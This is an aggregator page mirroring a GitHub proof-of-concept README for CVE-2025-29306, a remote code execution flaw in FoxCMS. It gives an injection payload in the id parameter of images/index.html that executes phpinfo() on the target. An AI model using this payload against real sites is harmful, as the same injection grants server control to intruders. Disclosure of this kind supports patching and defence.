CVE-2025-29306 PoC — FoxCMS 安全漏洞

Source

https://github.com/somatrasss/CVE-2025-29306

Associated Vulnerability

Title:FoxCMS 安全漏洞 (CVE-2025-29306)
Description:An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.

Readme

# CVE-2025-29306
FOXCMS黔狐内容管理系统服务参数注入漏洞

一、漏洞简介

FoxCMS是一套可免费商用且开源的网站管理系统,采用PHP+MySQL架构。 FOXCMS黔狐内容管理系统存在服务参数注入漏洞，攻击者可利用该漏洞获取服务器控制权。

二、漏洞影响

FOXCMS黔狐内容管理系统 V1.2

三、复现过程

POC http://xx/images/index.html?id=%24{%40print(phpinfo())} 输入Poc访问漏洞页面 发现phpinfo命令执行后的信息

![image](https://github.com/user-attachments/assets/72f85989-ec01-4a24-8d55-961c5d5a1023)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →